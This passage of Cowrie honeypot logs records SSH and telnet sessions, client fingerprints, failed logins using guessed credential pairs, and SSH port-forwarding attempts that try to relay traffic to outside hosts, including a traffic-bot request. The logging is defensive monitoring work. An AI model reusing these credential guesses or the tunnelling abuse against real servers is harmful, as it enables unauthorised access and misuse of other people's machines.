\\xee\\x08\\xfbb\\x96\\x18\\xfe7\\xff\\x81\\xf4\\xa96t\\xaf\\xdd\\x93\\x04\\xc6\\x8c\\xab@\\xeec\\xfc\\xf7\\xfd\\xb6\\x15\\xafH_\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:03.995911Z","src_ip":"123.27.168.40","session":"f725bd15fdd8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:04.245634Z","session":"f725bd15fdd8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:04.493687Z","src_ip":"123.27.168.40","session":"f725bd15fdd8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9eWph)\\xb4zE\\x94\\xe8L\\xe9\\x9d\\xea\\x08\\xe75%\\xf4\\x1d\\xeb\\xd9\\xdfg\\x9ae\\xed\\xf9\\xb5\\xe7}\\xd1 4_\\xbf@\\t\\x92\\x980\\xa1\\x96\\xbd{\\x04\\x05\\xb4=\\xbf;\\xe3\\x19\\xb2\\x04\\xd5.#MJ\\xb2\\x18\\xff\\x0b\\xe2\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd5\\xbb\\x8c\\x82\\xd3\\x92\\x0b\\x0c\\xe2Q\\x11<\\xd6\\xfa\\xdb\\x85\\xa9\\x0c\\x84I^\\xbaS\\xa8\\xf8\\xc9\\x12\\x9e\\xfb\\xd8\\xa23\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9eWph)\\xb4zE\\x94\\xe8L\\xe9\\x9d\\xea\\x08\\xe75%\\xf4\\x1d\\xeb\\xd9\\xdfg\\x9ae\\xed\\xf9\\xb5\\xe7}\\xd1 4_\\xbf@\\t\\x92\\x980\\xa1\\x96\\xbd{\\x04\\x05\\xb4=\\xbf;\\xe3\\x19\\xb2\\x04\\xd5.#MJ\\xb2\\x18\\xff\\x0b\\xe2\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd5\\xbb\\x8c\\x82\\xd3\\x92\\x0b\\x0c\\xe2Q\\x11<\\xd6\\xfa\\xdb\\x85\\xa9\\x0c\\x84I^\\xbaS\\xa8\\xf8\\xc9\\x12\\x9e\\xfb\\xd8\\xa23\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:04.496672Z","src_ip":"123.27.168.40","session":"f725bd15fdd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:04.694958Z","src_ip":"45.153.34.195","session":"f8fc87d04ce3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"37.3","message":"Connection lost after 37.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:04.966365Z","src_ip":"23.175.50.47","session":"dd694c98cd82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":58452,"dst_ip":"159.203.135.109","dst_port":22,"session":"740c6eacd1e9","protocol":"ssh","message":"New connection: 201.17.146.173:58452 (159.203.135.109:22) [session: 740c6eacd1e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:05.176560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:05.181638Z","src_ip":"201.17.146.173","session":"740c6eacd1e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:05.347227Z","src_ip":"201.17.146.173","session":"740c6eacd1e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rakesh","password":"rakesh@123","message":"login attempt [rakesh/rakesh@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:06.883672Z","src_ip":"201.17.146.173","session":"740c6eacd1e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24784,"dst_ip":"159.203.135.109","dst_port":22,"session":"479c3ffc94ed","protocol":"ssh","message":"New connection: 91.92.40.36:24784 (159.203.135.109:22) [session: 479c3ffc94ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:07.099961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:07.301500Z","src_ip":"91.92.40.36","session":"479c3ffc94ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:07.304834Z","src_ip":"91.92.40.36","session":"479c3ffc94ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53378,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e049795911a","protocol":"telnet","message":"New connection: 128.199.8.54:53378 (159.203.135.109:23) [session: 3e049795911a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:07.504375Z"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:08.038832Z","src_ip":"201.17.146.173","session":"740c6eacd1e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daemon","password":"123qwerty","message":"login attempt [daemon/123qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:09.106864Z","src_ip":"91.92.40.36","session":"cb7c07598f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"prime1","message":"login attempt [admin/prime1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:10.379741Z","src_ip":"91.92.40.36","session":"479c3ffc94ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.5","message":"Connection lost after 12.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:10.875069Z","src_ip":"123.27.168.40","session":"f725bd15fdd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.9","message":"Connection lost after 11.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:11.568087Z","src_ip":"91.92.40.36","session":"cb7c07598f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:12.394388Z","src_ip":"91.92.40.36","session":"479c3ffc94ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":19.526341915130615,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:12.886672Z","src_ip":"128.199.8.54","session":"0ac26bc6afec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24864,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8ecad4de664","protocol":"ssh","message":"New connection: 91.92.40.36:24864 (159.203.135.109:22) [session: f8ecad4de664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:14.710493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:15.280531Z","src_ip":"91.92.40.36","session":"f8ecad4de664","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:15.284173Z","src_ip":"91.92.40.36","session":"f8ecad4de664","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"654321","message":"login attempt [debian/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:16.565554Z","src_ip":"91.92.40.36","session":"f8ecad4de664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:18.132406Z","src_ip":"91.92.40.36","session":"f8ecad4de664","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:19.351378Z","session":"921ff06c3cb7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:19.359738Z","session":"921ff06c3cb7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:19.419293Z","src_ip":"23.175.50.51","session":"921ff06c3cb7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=c0JAbng2QEpyTn42VHVsPg%3D%3DyLJET0iOCctGLiBrSWMWy5UVUIlh1E1KZ69zBjt%2BTkJCmO6Eegwny8jhUFeb7dMIIb6u%2Bl4vc4Do2a1tmuMqS3bkanRVPlXgzfCEnt%2Br1zjNuJSD35NDK%2BMoAupxYW4SpnJe09IlN%2BEzxmvtGvF7yrSReXbGt7JJwg4X7j62Rg0FICgVVw70Sb3sCA3RxnpaEjEp7dDCec6oRUFEsyCLT3wZy9qecmygsFqibqwSdhlURD%2BVC6YLyjouE0Po%2BemNsVrPNAoUNW%2FCfUGYOx%2FQYEVHu7y1yn%2FMuK7pGOPEqNzkmLMhoOpDcXQ8h7Ew7o8Kqu4FK7Z0xSKziqDWWroCBD%2F%2BjRHrjCWA7WhcPwYYrf9BlOC%2BGnsBGyHQWcjN534va0V%2F1OiEYPHKoqE9sjniTQ4m2aFWRixM4RKkL1C8hYzo1btsASIK08krRxtOt5Clea5%2FVMwwEpqs8Xl4xDDQUXjiMQucK1k1o1%2F4RCTGLm2CfSdTZvT3Ss8YeB%2BVwweMPVFykmiFqr%2BIGPr699lhvlVVm3HXfLlBRYune0EepK%2BtmGbrDNbY0aDkCcZg6W88hRPQp645BAfA8K%2FK2urMr4F3pwKN1zrpfNAsMxkj7Eo6QpOIgku5%2BrepjuNKjBfgsbb9ILqpEIhJ9aX7Btv1cKfBIfFnrh%2B%2BJZykOEyretU6NYyOBHIP64Offgv%2FdIfX6z1sqU9IBnTvqWEXaa3KhUuBt2pxVATFhHAA8s771FID8z0Lk5g7o5lDt%2BlKzjensaJtcrxMdh2ce2Wf6xT6GDRTQjJ7%2BzJ6aZMwe5hcBsqMdq23xx4o3Y5GlXKCY%2BpS4d52reMtL%2FH%2FsA%2BnlOZHo0gYaVm3%2BiU8ncZ2Vw%2BkBKgRlJuWcGL5Wten%2Bx3eukCtgwEH63ThUdF1mTgmjAP252i%2B8SeLP432sN6R7Y%2BmU4wNAqubeCcMs69poI%2FUDhPARf8HgeJ83FhVWfWA4Cc%2FMrIuagRtpsN4m45sGBNJCu8gwHaR3%2F%2BlOeXQRUDEjdIXTj8j1dPKXWnHN3Ub1kA63D63dhsg4zG9T%2FjbfdWcnKxpdW%2FUjlwyQqsG7QK%2BkMsV'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, 